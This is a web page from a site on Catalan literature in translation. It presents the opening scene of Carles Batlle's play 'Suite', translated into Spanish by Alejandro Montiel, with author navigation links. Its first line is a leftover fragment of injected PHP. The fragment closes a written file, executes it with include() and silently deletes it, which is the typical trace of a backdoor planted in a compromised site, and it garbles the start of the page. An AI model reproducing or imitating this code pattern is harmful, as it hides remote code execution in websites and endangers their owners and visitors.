");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Suite - Carles Batlle
Facebook Twitter

Suite

Carles Batlle
Suite
ESCENA 1

Una sala de estar. Un amplio ventanal, abierto, cortinas a ambos lados. En el antepecho, un ramillete de claveles en un jarrón discreto. Entra una luz cálida y suave: el sol se retira. Un mueble bar, un teléfono, un espejo y, directamente iluminada por esa misma luz, una butaca azulada y angulosa.

De rodillas, en medio de la sala, midiendo el efecto de las sombras en las paredes diminutas, un hombre que no llega a los sesenta manipula una casa de muñecas. Es un individuo pulcro, de una elegancia casera; lleva pantalones con pinzas, un chaleco a juego y una camisa blanca con los puños abrochados. Tiene poco pelo y peinado hacia atrás; bigote cuidado y canoso, sin coquetería. Vemos a MARC, el hombre, cómo cambia los muebles minúsculos de lugar, cómo los limpia, cómo los observa. Se mueve con precisión y silencio, sin esfuerzos evidentes; y sin embargo, su actividad le reclama posturas sorprendentes, casi ridículas.

Más allá de la butaca, del mueble bar y del espejo, en otro espacio, sin paredes visibles, una cama de matrimonio. La misma luz que entra por la ventana de la sala de estar ilumina de lleno el cobertor blanco que cubre el lecho, con suavidad, como si se tratase de un objeto delicado y valioso. Sentada en la cama, bañada de luz, con las piernas dobladas y los pies desnudos, una mujer joven, BERTA. Rodea sus rodillas con los brazos y enseña un muslo blanco y redondeado. Tiene la mirada perdida, pero anhelante: como si al otro lado de la ventana alguien le ofreciese un espectáculo mágico e inalcanzable, tentador... Encima de la cama, una bolsa de viaje.

Traducido por Alejandro Montiel
Carles Batlle, Suite. Madrid: SGAE, 2000.
Carles Batlle, 2008
Comentarios sobre la obra
Zoom (2010)
por Enric Gallén
Fragmentos
Oasis
Català | Français | Gallec
Suite
Català | English | Français
Tentación
Català | Deutsch | English | Français | Italià | Portuguès | Turc | Txec
Reseñas
Bibliografía
Otros
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Con el soporte de: